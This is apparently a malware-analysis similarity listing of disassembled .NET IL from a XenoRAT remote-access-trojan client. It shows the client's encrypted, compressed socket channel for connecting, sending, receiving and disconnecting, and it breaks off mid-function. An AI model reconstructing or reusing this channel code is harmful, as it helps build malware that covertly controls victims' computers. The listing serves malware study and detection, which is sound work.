Similarity

File xenorat_388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7.exe

Function:

0000436c
0000436c<ConnectSubSockAsync>d__11::MoveNext:
0000436cldarg.0
0000436dldfld <>1__state
00004372stloc.0
00004373ldarg.0
00004374ldfld <>4__this
00004379stloc.1
0000437aldloc.0
0000437bldc.i4.3
0000437cble.un.s IL_001b
0000437eldloc.0
0000437fldc.i4.4
00004380beq IL_0278
00004385ldc.i4.0
00004386stloc.3
00004387nop
00004388ldloc.0
00004389switch (IL_008f, IL_010f, IL_0190, IL_01fd)
0000439eldarg.0
0000439fldc.i4.2
000043a0ldc.i4.1
000043a1ldc.i4.6
000043a2newobj .ctor
000043a7stfld <socket>5__2
000043acldarg.0
000043adldfld <socket>5__2
000043b2ldloc.1
000043b3ldfld sock
000043b8ldfld sock
000043bdcallvirt get_RemoteEndPoint
000043c2call ConnectAsync
000043c7callvirt GetAwaiter
000043ccstloc.s 6
000043celdloca.s 6
000043d0call get_IsCompleted
000043d5brtrue.s IL_00ac
000043d7ldarg.0
000043d8ldc.i4.0
000043d9dup
000043dastloc.0
000043dbstfld <>1__state
000043e0ldarg.0
000043e1ldloc.s 6
000043e3stfld <>u__1
000043e8ldarg.0
000043e9ldflda <>t__builder
000043eeldloca.s 6
000043f0ldarg.0
000043f1call 0x2B000027
000043f6leave IL_02ce
000043fbldarg.0
000043fcldfld <>u__1
00004401stloc.s 6
00004403ldarg.0
00004404ldflda <>u__1
00004409initobj System.Runtime.CompilerServices.TaskAwaiter
0000440fldarg.0
00004410ldc.i4.m1
00004411dup
00004412stloc.0
00004413stfld <>1__state
00004418ldloca.s 6
0000441acall GetResult
0000441fldarg.0
00004420ldfld <socket>5__2
00004425ldloc.1
00004426ldfld sock
0000442bldfld EncryptionKey
00004430ldarg.0
00004431ldfld type
00004436ldloc.1
00004437ldfld ID
0000443cldarg.0
0000443dldfld OnDisconnect
00004442call ConnectAndSetupAsync
00004447callvirt GetAwaiter
0000444cstloc.s 8
0000444eldloca.s 8
00004450call get_IsCompleted
00004455brtrue.s IL_012c
00004457ldarg.0
00004458ldc.i4.1
00004459dup
0000445astloc.0
0000445bstfld <>1__state
00004460ldarg.0
00004461ldloc.s 8
00004463stfld <>u__2
00004468ldarg.0
00004469ldflda <>t__builder
0000446eldloca.s 8
00004470ldarg.0
00004471call 0x2B000028
00004476leave IL_02ce
0000447bldarg.0
0000447cldfld <>u__2
00004481stloc.s 8
00004483ldarg.0
00004484ldflda <>u__2
00004489initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
0000448fldarg.0
00004490ldc.i4.m1
00004491dup
00004492stloc.0
00004493stfld <>1__state
00004498ldloca.s 8
0000449acall GetResult
0000449fstloc.s 7
000044a1ldarg.0
000044a2ldloc.s 7
000044a4stfld <sub>5__3
000044a9ldc.i4.1
000044aanewarr System.Byte
000044afdup
000044b0ldc.i4.0
000044b1ldarg.0
000044b2ldfld retid
000044b7conv.u1
000044b8stelem.i1
000044b9stloc.s 4
000044bbldarg.0
000044bcldfld <sub>5__3
000044c1ldloc.s 4
000044c3callvirt SendAsync
000044c8callvirt GetAwaiter
000044cdstloc.s 9
000044cfldloca.s 9
000044d1call get_IsCompleted
000044d6brtrue.s IL_01ad
000044d8ldarg.0
000044d9ldc.i4.2
000044dadup
000044dbstloc.0
000044dcstfld <>1__state
000044e1ldarg.0
000044e2ldloc.s 9
000044e4stfld <>u__3
000044e9ldarg.0
000044ealdflda <>t__builder
000044efldloca.s 9
000044f1ldarg.0
000044f2call 0x2B000029
000044f7leave IL_02ce
000044fcldarg.0
000044fdldfld <>u__3
00004502stloc.s 9
00004504ldarg.0
00004505ldflda <>u__3
0000450ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00004510ldarg.0
00004511ldc.i4.m1
00004512dup
00004513stloc.0
00004514stfld <>1__state
00004519ldloca.s 9
0000451bcall GetResult
00004520pop
00004521ldc.i4.1
00004522newarr System.Byte
00004527dup
00004528ldc.i4.0
00004529ldc.i4.1
0000452astelem.i1
0000452bstloc.s 5
0000452dldloc.1
0000452eldloc.s 5
00004530call SendAsync
00004535callvirt GetAwaiter
0000453astloc.s 9
0000453cldloca.s 9
0000453ecall get_IsCompleted
00004543brtrue.s IL_021a
00004545ldarg.0
00004546ldc.i4.3
00004547dup
00004548stloc.0
00004549stfld <>1__state
0000454eldarg.0
0000454fldloc.s 9
00004551stfld <>u__3
00004556ldarg.0
00004557ldflda <>t__builder
0000455cldloca.s 9
0000455eldarg.0
0000455fcall 0x2B000029
00004564leave IL_02ce
00004569ldarg.0
0000456aldfld <>u__3
0000456fstloc.s 9
00004571ldarg.0
00004572ldflda <>u__3
00004577initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000457dldarg.0
0000457eldc.i4.m1
0000457fdup
00004580stloc.0
00004581stfld <>1__state
00004586ldloca.s 9
00004588call GetResult
0000458dpop
0000458eldarg.0
0000458fldfld <sub>5__3
00004594stloc.2
00004595leave IL_02ba
0000459apop
0000459bldc.i4.1
0000459cstloc.3
0000459dleave.s IL_0233
0000459fldloc.3
000045a0ldc.i4.1
000045a1bne.un.s IL_029f
000045a3ldc.i4.1
000045a4newarr System.Byte
000045a9stloc.s 10
000045abldloc.1
000045acldloc.s 10
000045aecall SendAsync
000045b3callvirt GetAwaiter
000045b8stloc.s 9
000045baldloca.s 9
000045bccall get_IsCompleted
000045c1brtrue.s IL_0295
000045c3ldarg.0
000045c4ldc.i4.4
000045c5dup
000045c6stloc.0
000045c7stfld <>1__state
000045ccldarg.0
000045cdldloc.s 9
000045cfstfld <>u__3
000045d4ldarg.0
000045d5ldflda <>t__builder
000045daldloca.s 9
000045dcldarg.0
000045ddcall 0x2B000029
000045e2leave.s IL_02ce
000045e4ldarg.0
000045e5ldfld <>u__3
000045eastloc.s 9
000045ecldarg.0
000045edldflda <>u__3
000045f2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000045f8ldarg.0
000045f9ldc.i4.m1
000045fadup
000045fbstloc.0
000045fcstfld <>1__state
00004601ldloca.s 9
00004603call GetResult
00004608pop
00004609ldnull
0000460astloc.2
0000460bleave.s IL_02ba
0000460dstloc.s 11
0000460fldarg.0
00004610ldc.i4.s -2
00004612stfld <>1__state
00004617ldarg.0
00004618ldflda <>t__builder
0000461dldloc.s 11
0000461fcall SetException
00004624leave.s IL_02ce
00004626ldarg.0
00004627ldc.i4.s -2
00004629stfld <>1__state
0000462eldarg.0
0000462fldflda <>t__builder
00004634ldloc.2
00004635call SetResult
0000463aret
0000436c

0000467c
0000467c<Disconnect>d__10::MoveNext:
0000467cldarg.0
0000467dldfld <>1__state
00004682stloc.0
00004683ldarg.0
00004684ldfld <>4__this
00004689stloc.1
0000468aldloc.0
0000468bpop
0000468cnop
0000468dldloc.0
0000468ebrfalse.s IL_008e
00004690ldloc.1
00004691ldfld sock
00004696ldfld sock
0000469bbrfalse IL_00b1
000046a0call get_Factory
000046a5ldloc.1
000046a6ldfld sock
000046abldfld sock
000046b0ldftn BeginDisconnect
000046b6newobj .ctor
000046bbldloc.1
000046bcldfld sock
000046c1ldfld sock
000046c6ldftn EndDisconnect
000046ccnewobj .ctor
000046d1ldc.i4.1
000046d2ldnull
000046d3callvirt 0x2B00002A
000046d8callvirt GetAwaiter
000046ddstloc.3
000046deldloca.s 3
000046e0call get_IsCompleted
000046e5brtrue.s IL_00aa
000046e7ldarg.0
000046e8ldc.i4.0
000046e9dup
000046eastloc.0
000046ebstfld <>1__state
000046f0ldarg.0
000046f1ldloc.3
000046f2stfld <>u__1
000046f7ldarg.0
000046f8ldflda <>t__builder
000046fdldloca.s 3
000046ffldarg.0
00004700call 0x2B00002B
00004705leave IL_017b
0000470aldarg.0
0000470bldfld <>u__1
00004710stloc.3
00004711ldarg.0
00004712ldflda <>u__1
00004717initobj System.Runtime.CompilerServices.TaskAwaiter
0000471dldarg.0
0000471eldc.i4.m1
0000471fdup
00004720stloc.0
00004721stfld <>1__state
00004726ldloca.s 3
00004728call GetResult
0000472dleave.s IL_00cd
0000472fpop
00004730ldloc.1
00004731ldfld sock
00004736ldfld sock
0000473bdup
0000473cbrtrue.s IL_00c5
0000473epop
0000473fbr.s IL_00cb
00004741ldc.i4.0
00004742call Close
00004747leave.s IL_00cd
00004749ldloc.1
0000474aldfld sock
0000474fldfld sock
00004754dup
00004755brtrue.s IL_00de
00004757pop
00004758br.s IL_00e3
0000475acall Dispose
0000475fldloc.1
00004760ldfld subNodes
00004765call 0x2B00002C
0000476astloc.2
0000476bldloc.1
0000476cldfld subNodes
00004771callvirt Clear
00004776ldloc.2
00004777callvirt GetEnumerator
0000477cstloc.s 4
0000477ebr.s IL_0116
00004780ldloca.s 4
00004782call get_Current
00004787dup
00004788brtrue.s IL_0111
0000478apop
0000478bbr.s IL_0116
0000478dcall Disconnect
00004792ldloca.s 4
00004794call MoveNext
00004799brtrue.s IL_0104
0000479bleave.s IL_0133
0000479dldloc.0
0000479eldc.i4.0
0000479fbge.s IL_0132
000047a1ldloca.s 4
000047a3constrained. valuetype Enumerator<class xeno_rat_client.Node>
000047a9callvirt Dispose
000047aeendfinally
000047afldloc.2
000047b0callvirt Clear
000047b5ldloc.1
000047b6ldfld OnDisconnect
000047bbbrfalse.s IL_014d
000047bdldloc.1
000047beldfld OnDisconnect
000047c3ldloc.1
000047c4callvirt Invoke
000047c9leave.s IL_0168
000047cbstloc.s 5
000047cdldarg.0
000047celdc.i4.s -2
000047d0stfld <>1__state
000047d5ldarg.0
000047d6ldflda <>t__builder
000047dbldloc.s 5
000047ddcall SetException
000047e2leave.s IL_017b
000047e4ldarg.0
000047e5ldc.i4.s -2
000047e7stfld <>1__state
000047ecldarg.0
000047edldflda <>t__builder
000047f2call SetResult
000047f7ret
0000467c

00004850
00004850<ReceiveAsync>d__13::MoveNext:
00004850ldarg.0
00004851ldfld <>1__state
00004856stloc.0
00004857ldarg.0
00004858ldfld <>4__this
0000485dstloc.1
0000485eldloc.0
0000485fbrfalse.s IL_004d
00004861ldloc.1
00004862ldfld sock
00004867callvirt ReceiveAsync
0000486ccallvirt GetAwaiter
00004871stloc.s 4
00004873ldloca.s 4
00004875call get_IsCompleted
0000487abrtrue.s IL_006a
0000487cldarg.0
0000487dldc.i4.0
0000487edup
0000487fstloc.0
00004880stfld <>1__state
00004885ldarg.0
00004886ldloc.s 4
00004888stfld <>u__1
0000488dldarg.0
0000488eldflda <>t__builder
00004893ldloca.s 4
00004895ldarg.0
00004896call 0x2B00002D
0000489bleave.s IL_00b0
0000489dldarg.0
0000489eldfld <>u__1
000048a3stloc.s 4
000048a5ldarg.0
000048a6ldflda <>u__1
000048abinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
000048b1ldarg.0
000048b2ldc.i4.m1
000048b3dup
000048b4stloc.0
000048b5stfld <>1__state
000048baldloca.s 4
000048bccall GetResult
000048c1stloc.3
000048c2ldloc.3
000048c3brtrue.s IL_007f
000048c5ldloc.1
000048c6call Disconnect
000048cbldnull
000048ccstloc.2
000048cdleave.s IL_009c
000048cfldloc.3
000048d0stloc.2
000048d1leave.s IL_009c
000048d3stloc.s 5
000048d5ldarg.0
000048d6ldc.i4.s -2
000048d8stfld <>1__state
000048ddldarg.0
000048deldflda <>t__builder
000048e3ldloc.s 5
000048e5call SetException
000048ealeave.s IL_00b0
000048ecldarg.0
000048edldc.i4.s -2
000048efstfld <>1__state
000048f4ldarg.0
000048f5ldflda <>t__builder
000048faldloc.2
000048fbcall SetResult
00004900ret
00004850

00004920
00004920<SendAsync>d__14::MoveNext:
00004920ldarg.0
00004921ldfld <>1__state
00004926stloc.0
00004927ldarg.0
00004928ldfld <>4__this
0000492dstloc.1
0000492eldloc.0
0000492fbrfalse.s IL_0051
00004931ldloc.1
00004932ldfld sock
00004937ldarg.0
00004938ldfld data
0000493dcallvirt SendAsync
00004942callvirt GetAwaiter
00004947stloc.3
00004948ldloca.s 3
0000494acall get_IsCompleted
0000494fbrtrue.s IL_006d
00004951ldarg.0
00004952ldc.i4.0
00004953dup
00004954stloc.0
00004955stfld <>1__state
0000495aldarg.0
0000495bldloc.3
0000495cstfld <>u__1
00004961ldarg.0
00004962ldflda <>t__builder
00004967ldloca.s 3
00004969ldarg.0
0000496acall 0x2B00002E
0000496fleave.s IL_00b1
00004971ldarg.0
00004972ldfld <>u__1
00004977stloc.3
00004978ldarg.0
00004979ldflda <>u__1
0000497einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00004984ldarg.0
00004985ldc.i4.m1
00004986dup
00004987stloc.0
00004988stfld <>1__state
0000498dldloca.s 3
0000498fcall GetResult
00004994brtrue.s IL_0080
00004996ldloc.1
00004997call Disconnect
0000499cldc.i4.0
0000499dstloc.2
0000499eleave.s IL_009d
000049a0ldc.i4.1
000049a1stloc.2
000049a2leave.s IL_009d
000049a4stloc.s 4
000049a6ldarg.0
000049a7ldc.i4.s -2
000049a9stfld <>1__state
000049aeldarg.0
000049afldflda <>t__builder
000049b4ldloc.s 4
000049b6call SetException
000049bbleave.s IL_00b1
000049bdldarg.0
000049beldc.i4.s -2
000049c0stfld <>1__state
000049c5ldarg.0
000049c6ldflda <>t__builder
000049cbldloc.2
000049cccall SetResult
000049d1ret
00004920

000049f0
000049f0xeno_rat_client.SocketHandler::RecvAllAsync_ddos_unsafer:
000049f0ldloca.s 0
000049f2call Create
000049f7stfld <>t__builder
000049fcldloca.s 0
000049feldarg.0
000049ffstfld <>4__this
00004a04ldloca.s 0
00004a06ldarg.1
00004a07stfld size
00004a0cldloca.s 0
00004a0eldc.i4.m1
00004a0fstfld <>1__state
00004a14ldloca.s 0
00004a16ldflda <>t__builder
00004a1bldloca.s 0
00004a1dcall 0x2B00002F
00004a22ldloca.s 0
00004a24ldflda <>t__builder
00004a29call get_Task
00004a2eret
000049f0

00004a3c
00004a3cxeno_rat_client.SocketHandler::RecvAllAsync_ddos_safer:
00004a3cldloca.s 0
00004a3ecall Create
00004a43stfld <>t__builder
00004a48ldloca.s 0
00004a4aldarg.0
00004a4bstfld <>4__this
00004a50ldloca.s 0
00004a52ldarg.1
00004a53stfld size
00004a58ldloca.s 0
00004a5aldc.i4.m1
00004a5bstfld <>1__state
00004a60ldloca.s 0
00004a62ldflda <>t__builder
00004a67ldloca.s 0
00004a69call 0x2B000030
00004a6eldloca.s 0
00004a70ldflda <>t__builder
00004a75call get_Task
00004a7aret
00004a3c

00004a88
00004a88xeno_rat_client.SocketHandler::Concat:
00004a88ldarg.0
00004a89brtrue.s IL_000b
00004a8bldc.i4.0
00004a8cnewarr System.Byte
00004a91starg.s 0
00004a93newobj .ctor
00004a98dup
00004a99ldarg.0
00004a9acallvirt Add
00004a9fdup
00004aa0ldarg.1
00004aa1callvirt Add
00004aa6ldsfld <>9__6_0
00004aabdup
00004aacbrtrue.s IL_003d
00004aaepop
00004aafldsfld <>9
00004ab4ldftn <Concat>b__6_0
00004abanewobj .ctor
00004abfdup
00004ac0stsfld <>9__6_0
00004ac5call 0x2B000031
00004acacall 0x2B000012
00004acfret
00004a88

00004adc
00004adcxeno_rat_client.SocketHandler::ParseHeader:
00004adcnewobj .ctor
00004ae1stloc.0
00004ae2ldarg.1
00004ae3ldc.i4.0
00004ae4ldelem.u1
00004ae5ldc.i4.1
00004ae6bne.un.s IL_002a
00004ae8ldloc.0
00004ae9ldc.i4.1
00004aeastfld Compressed
00004aefldloc.0
00004af0ldarg.0
00004af1ldarg.1
00004af2ldc.i4.1
00004af3call BytesToInt
00004af8stfld OriginalFileSize
00004afdldloc.0
00004afeldc.i4.5
00004affstfld T_offset
00004b04br.s IL_0031
00004b06ldarg.1
00004b07ldc.i4.0
00004b08ldelem.u1
00004b09brfalse.s IL_0031
00004b0bldnull
00004b0cret
00004b0dldloc.0
00004b0eret
00004adc

00004b1c
00004b1cxeno_rat_client.SocketHandler::BTruncate:
00004b1cldarg.1
00004b1dldlen
00004b1econv.i4
00004b1fldarg.2
00004b20sub
00004b21newarr System.Byte
00004b26stloc.0
00004b27ldarg.1
00004b28ldarg.2
00004b29ldloc.0
00004b2aldc.i4.0
00004b2bldloc.0
00004b2cldlen
00004b2dconv.i4
00004b2ecall BlockCopy
00004b33ldloc.0
00004b34ret
00004b1c

00004b44
00004b44xeno_rat_client.SocketHandler::SendAsync:
00004b44ldloca.s 0
00004b46call Create
00004b4bstfld <>t__builder
00004b50ldloca.s 0
00004b52ldarg.0
00004b53stfld <>4__this
00004b58ldloca.s 0
00004b5aldarg.1
00004b5bstfld data
00004b60ldloca.s 0
00004b62ldc.i4.m1
00004b63stfld <>1__state
00004b68ldloca.s 0
00004b6aldflda <>t__builder
00004b6fldloca.s 0
00004b71call 0x2B000032
00004b76ldloca.s 0
00004b78ldflda <>t__builder
00004b7dcall get_Task
00004b82ret
00004b44

00004b90
00004b90xeno_rat_client.SocketHandler::ReceiveAsync:
00004b90ldloca.s 0
00004b92call Create
00004b97stfld <>t__builder
00004b9cldloca.s 0
00004b9eldarg.0
00004b9fstfld <>4__this
00004ba4ldloca.s 0
00004ba6ldc.i4.m1
00004ba7stfld <>1__state
00004bacldloca.s 0
00004baeldflda <>t__builder
00004bb3ldloca.s 0
00004bb5call 0x2B000033
00004bbaldloca.s 0
00004bbcldflda <>t__builder
00004bc1call get_Task
00004bc6ret
00004b90

00004bd4
00004bd4xeno_rat_client.SocketHandler::BytesToInt:
00004bd4ldsfld IsLittleEndian
00004bd9brfalse.s IL_0025
00004bdbldarg.1
00004bdcldarg.2
00004bddldelem.u1
00004bdeldarg.1
00004bdfldarg.2
00004be0ldc.i4.1
00004be1add
00004be2ldelem.u1
00004be3ldc.i4.8
00004be4shl
00004be5or
00004be6ldarg.1
00004be7ldarg.2
00004be8ldc.i4.2
00004be9add
00004bealdelem.u1
00004bebldc.i4.s 16
00004bedshl
00004beeor
00004befldarg.1
00004bf0ldarg.2
00004bf1ldc.i4.3
00004bf2add
00004bf3ldelem.u1
00004bf4ldc.i4.s 24
00004bf6shl
00004bf7or
00004bf8ret
00004bf9ldarg.1
00004bfaldarg.2
00004bfbldc.i4.3
00004bfcadd
00004bfdldelem.u1
00004bfeldarg.1
00004bffldarg.2
00004c00ldc.i4.2
00004c01add
00004c02ldelem.u1
00004c03ldc.i4.8
00004c04shl
00004c05or
00004c06ldarg.1
00004c07ldarg.2
00004c08ldc.i4.1
00004c09add
00004c0aldelem.u1
00004c0bldc.i4.s 16
00004c0dshl
00004c0eor
00004c0fldarg.1
00004c10ldarg.2
00004c11ldelem.u1
00004c12ldc.i4.s 24
00004c14shl
00004c15or
00004c16ret
00004bd4

00004c24
00004c24xeno_rat_client.SocketHandler::IntToBytes:
00004c24ldc.i4.4
00004c25newarr System.Byte
00004c2astloc.0
00004c2bldsfld IsLittleEndian
00004c30brfalse.s IL_002c
00004c32ldloc.0
00004c33ldc.i4.0
00004c34ldarg.1
00004c35conv.u1
00004c36stelem.i1
00004c37ldloc.0
00004c38ldc.i4.1
00004c39ldarg.1
00004c3aldc.i4.8
00004c3bshr
00004c3cconv.u1
00004c3dstelem.i1
00004c3eldloc.0
00004c3fldc.i4.2
00004c40ldarg.1
00004c41ldc.i4.s 16
00004c43shr
00004c44conv.u1
00004c45stelem.i1
00004c46ldloc.0
00004c47ldc.i4.3
00004c48ldarg.1
00004c49ldc.i4.s 24
00004c4bshr
00004c4cconv.u1
00004c4dstelem.i1
00004c4ebr.s IL_0048
00004c50ldloc.0
00004c51ldc.i4.3
00004c52ldarg.1
00004c53conv.u1
00004c54stelem.i1
00004c55ldloc.0
00004c56ldc.i4.2
00004c57ldarg.1
00004c58ldc.i4.8
00004c59shr
00004c5aconv.u1
00004c5bstelem.i1
00004c5cldloc.0
00004c5dldc.i4.1
00004c5eldarg.1
00004c5fldc.i4.s 16
00004c61shr
00004c62conv.u1
00004c63stelem.i1
00004c64ldloc.0
00004c65ldc.i4.0
00004c66ldarg.1
00004c67ldc.i4.s 24
00004c69shr
00004c6aconv.u1
00004c6bstelem.i1
00004c6cldloc.0
00004c6dret
00004c24

00004c7c
00004c7c<ReceiveAsync>d__10::MoveNext:
00004c7cldarg.0
00004c7dldfld <>1__state
00004c82stloc.0
00004c83ldarg.0
00004c84ldfld <>4__this
00004c89stloc.1
00004c8aldloc.0
00004c8bldc.i4.1
00004c8cpop
00004c8dpop
00004c8enop
00004c8fldloc.0
00004c90brfalse.s IL_0058
00004c92ldloc.0
00004c93ldc.i4.1
00004c94beq IL_00cd
00004c99ldloc.1
00004c9aldc.i4.4
00004c9bcall RecvAllAsync_ddos_unsafer
00004ca0callvirt GetAwaiter
00004ca5stloc.s 7
00004ca7ldloca.s 7
00004ca9call get_IsCompleted
00004caebrtrue.s IL_0075
00004cb0ldarg.0
00004cb1ldc.i4.0
00004cb2dup
00004cb3stloc.0
00004cb4stfld <>1__state
00004cb9ldarg.0
00004cbaldloc.s 7
00004cbcstfld <>u__1
00004cc1ldarg.0
00004cc2ldflda <>t__builder
00004cc7ldloca.s 7
00004cc9ldarg.0
00004ccacall 0x2B000034
00004ccfleave IL_01f9
00004cd4ldarg.0
00004cd5ldfld <>u__1
00004cdastloc.s 7
00004cdcldarg.0
00004cddldflda <>u__1
00004ce2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004ce8ldarg.0
00004ce9ldc.i4.m1
00004ceadup
00004cebstloc.0
00004cecstfld <>1__state
00004cf1ldloca.s 7
00004cf3call GetResult
00004cf8stloc.3
00004cf9ldloc.3
00004cfabrtrue.s IL_0087
00004cfcldnull
00004cfdstloc.2
00004cfeleave IL_01e5
00004d03ldloc.1
00004d04ldloc.3
00004d05ldc.i4.0
00004d06call BytesToInt
00004d0bstloc.s 4
00004d0dldloc.1
00004d0eldloc.s 4
00004d10call RecvAllAsync_ddos_unsafer
00004d15callvirt GetAwaiter
00004d1astloc.s 7
00004d1cldloca.s 7
00004d1ecall get_IsCompleted
00004d23brtrue.s IL_00ea
00004d25ldarg.0
00004d26ldc.i4.1
00004d27dup
00004d28stloc.0
00004d29stfld <>1__state
00004d2eldarg.0
00004d2fldloc.s 7
00004d31stfld <>u__1
00004d36ldarg.0
00004d37ldflda <>t__builder
00004d3cldloca.s 7
00004d3eldarg.0
00004d3fcall 0x2B000034
00004d44leave IL_01f9
00004d49ldarg.0
00004d4aldfld <>u__1
00004d4fstloc.s 7
00004d51ldarg.0
00004d52ldflda <>u__1
00004d57initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004d5dldarg.0
00004d5eldc.i4.m1
00004d5fdup
00004d60stloc.0
00004d61stfld <>1__state
00004d66ldloca.s 7
00004d68call GetResult
00004d6dstloc.s 5
00004d6fldloc.s 5
00004d71brtrue.s IL_00fe
00004d73ldnull
00004d74stloc.2
00004d75leave IL_01e5
00004d7aldloc.s 5
00004d7cldc.i4.0
00004d7dldelem.u1
00004d7eldc.i4.3
00004d7fbne.un.s IL_016d
00004d81ldloc.1
00004d82ldloc.s 5
00004d84ldc.i4.1
00004d85call BTruncate
00004d8astloc.s 5
00004d8cldloc.s 5
00004d8eldloc.1
00004d8fldfld EncryptionKey
00004d94call Decrypt
00004d99stloc.s 5
00004d9bldloc.s 5
00004d9dldc.i4.0
00004d9eldelem.u1
00004d9fldc.i4.2
00004da0beq IL_001d
00004da5ldloc.1
00004da6ldloc.s 5
00004da8call ParseHeader
00004dadstloc.s 6
00004dafldloc.s 6
00004db1brtrue.s IL_013e
00004db3ldnull
00004db4stloc.2
00004db5leave IL_01e5
00004dbaldloc.1
00004dbbldloc.s 5
00004dbdldloc.s 6
00004dbfldfld T_offset
00004dc4call BTruncate
00004dc9stloc.s 5
00004dcbldloc.s 6
00004dcdldfld Compressed
00004dd2brfalse.s IL_0168
00004dd4ldloc.s 5
00004dd6ldloc.s 6
00004dd8ldfld OriginalFileSize
00004dddcall Decompress
00004de2stloc.s 5
00004de4ldloc.s 5
00004de6stloc.2
00004de7leave.s IL_01e5
00004de9ldloc.s 5
00004debldc.i4.0
00004decldelem.u1
00004dedldc.i4.2
00004deebeq IL_001d
00004df3ldloc.1
00004df4ldloc.s 5
00004df6call ParseHeader
00004dfbstloc.s 6
00004dfdldloc.s 6
00004dffbrtrue.s IL_0189
00004e01ldnull
00004e02stloc.2
00004e03leave.s IL_01e5
00004e05ldloc.1
00004e06ldloc.s 5
00004e08ldloc.s 6
00004e0aldfld T_offset
00004e0fcall BTruncate
00004e14stloc.s 5
00004e16ldloc.s 6
00004e18ldfld Compressed
00004e1dbrfalse.s IL_01b3
00004e1fldloc.s 5
00004e21ldloc.s 6
00004e23ldfld OriginalFileSize
00004e28call Decompress
00004e2dstloc.s 5
00004e2fldloc.s 5
00004e31ldloc.1
00004e32ldfld EncryptionKey
00004e37call Decrypt
00004e3cstloc.s 5
00004e3eldloc.s 5
00004e40stloc.2
00004e41leave.s IL_01e5
00004e43pop
00004e44ldnull
00004e45stloc.2
00004e46leave.s IL_01e5
00004e48stloc.s 8
00004e4aldarg.0
00004e4bldc.i4.s -2
00004e4dstfld <>1__state
00004e52ldarg.0
00004e53ldflda <>t__builder
00004e58ldloc.s 8
00004e5acall SetException
00004e5fleave.s IL_01f9
00004e61ldarg.0
00004e62ldc.i4.s -2
00004e64stfld <>1__state
00004e69ldarg.0
00004e6aldflda <>t__builder
00004e6fldloc.2
00004e70call SetResult
00004e75ret
00004c7c

00004eb8
00004eb8<RecvAllAsync_ddos_safer>d__5::MoveNext:
00004eb8ldarg.0
00004eb9ldfld <>1__state
00004ebestloc.0
00004ebfldarg.0
00004ec0ldfld <>4__this
00004ec5stloc.1
00004ec6ldloc.0
00004ec7switch (IL_00db, IL_01e0, IL_0248)
00004ed8ldarg.0
00004ed9ldarg.0
00004edaldfld size
00004edfnewarr System.Byte
00004ee4stfld <data>5__2
00004ee9ldarg.0
00004eealdc.i4.0
00004eebstfld <total>5__3
00004ef0ldarg.0
00004ef1ldarg.0
00004ef2ldfld size
00004ef7stfld <dataLeft>5__4
00004efcldarg.0
00004efdcall get_Now
00004f02stfld <startTimestamp>5__5
00004f07ldarg.0
00004f08call get_Now
00004f0dstfld <lastSendTime>5__6
00004f12br IL_026c
00004f17ldloc.1
00004f18ldfld sock
00004f1dcallvirt get_Connected
00004f22brtrue.s IL_0073
00004f24ldnull
00004f25stloc.2
00004f26leave IL_02a6
00004f2bldloc.1
00004f2cldfld sock
00004f31callvirt get_Available
00004f36ldc.i4.0
00004f37ble IL_0130
00004f3cldloc.1
00004f3dldfld sock
00004f42ldarg.0
00004f43ldfld <data>5__2
00004f48ldarg.0
00004f49ldfld <total>5__3
00004f4eldarg.0
00004f4fldfld <dataLeft>5__4
00004f54newobj .ctor
00004f59ldc.i4.0
00004f5acall ReceiveAsync
00004f5fcallvirt GetAwaiter
00004f64stloc.s 4
00004f66ldloca.s 4
00004f68call get_IsCompleted
00004f6dbrtrue.s IL_00f8
00004f6fldarg.0
00004f70ldc.i4.0
00004f71dup
00004f72stloc.0
00004f73stfld <>1__state
00004f78ldarg.0
00004f79ldloc.s 4
00004f7bstfld <>u__1
00004f80ldarg.0
00004f81ldflda <>t__builder
00004f86ldloca.s 4
00004f88ldarg.0
00004f89call 0x2B000035
00004f8eleave IL_02c1
00004f93ldarg.0
00004f94ldfld <>u__1
00004f99stloc.s 4
00004f9bldarg.0
00004f9cldflda <>u__1
00004fa1initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
00004fa7ldarg.0
00004fa8ldc.i4.m1
00004fa9dup
00004faastloc.0
00004fabstfld <>1__state
00004fb0ldloca.s 4
00004fb2call GetResult
00004fb7stloc.3
00004fb8ldloc.3
00004fb9brtrue.s IL_010f
00004fbbldarg.0
00004fbcldnull
00004fbdstfld <data>5__2
00004fc2br IL_027d
00004fc7ldarg.0
00004fc8ldarg.0
00004fc9ldfld <total>5__3
00004fceldloc.3
00004fcfadd
00004fd0stfld <total>5__3
00004fd5ldarg.0
00004fd6ldarg.0
00004fd7ldfld <dataLeft>5__4
00004fdcldloc.3
00004fddsub
00004fdestfld <dataLeft>5__4
00004fe3br IL_026c
00004fe8ldloc.1
00004fe9ldfld socktimeout
00004feebrfalse.s IL_0166
00004ff0call get_Now
00004ff5ldarg.0
00004ff6ldfld <startTimestamp>5__5
00004ffbcall op_Subtraction
00005000stloc.s 6
00005002ldloca.s 6
00005004call get_TotalMilliseconds
00005009ldloc.1
0000500aldfld socktimeout
0000500fconv.r8
00005010blt.un.s IL_0166
00005012ldarg.0
00005013ldnull
00005014stfld <data>5__2
00005019br IL_027d
0000501ecall get_Now
00005023ldarg.0
00005024ldfld <lastSendTime>5__6
00005029call op_Subtraction
0000502estloc.s 5
00005030ldloca.s 5
00005032call get_TotalMilliseconds
00005037ldc.r8 1500
00005040blt.un IL_0210
00005045ldloc.1
00005046ldfld sock
0000504bldc.i4.5
0000504cnewarr System.Byte
00005051dup
00005052ldc.i4.0
00005053ldc.i4.1
00005054stelem.i1
00005055dup
00005056ldc.i4.4
00005057ldc.i4.2
00005058stelem.i1
00005059newobj .ctor
0000505eldc.i4.0
0000505fcall SendAsync
00005064callvirt GetAwaiter
00005069stloc.s 4
0000506bldloca.s 4
0000506dcall get_IsCompleted
00005072brtrue.s IL_01fd
00005074ldarg.0
00005075ldc.i4.1
00005076dup
00005077stloc.0
00005078stfld <>1__state
0000507dldarg.0
0000507eldloc.s 4
00005080stfld <>u__1
00005085ldarg.0
00005086ldflda <>t__builder
0000508bldloca.s 4
0000508dldarg.0
0000508ecall 0x2B000035
00005093leave IL_02c1
00005098ldarg.0
00005099ldfld <>u__1
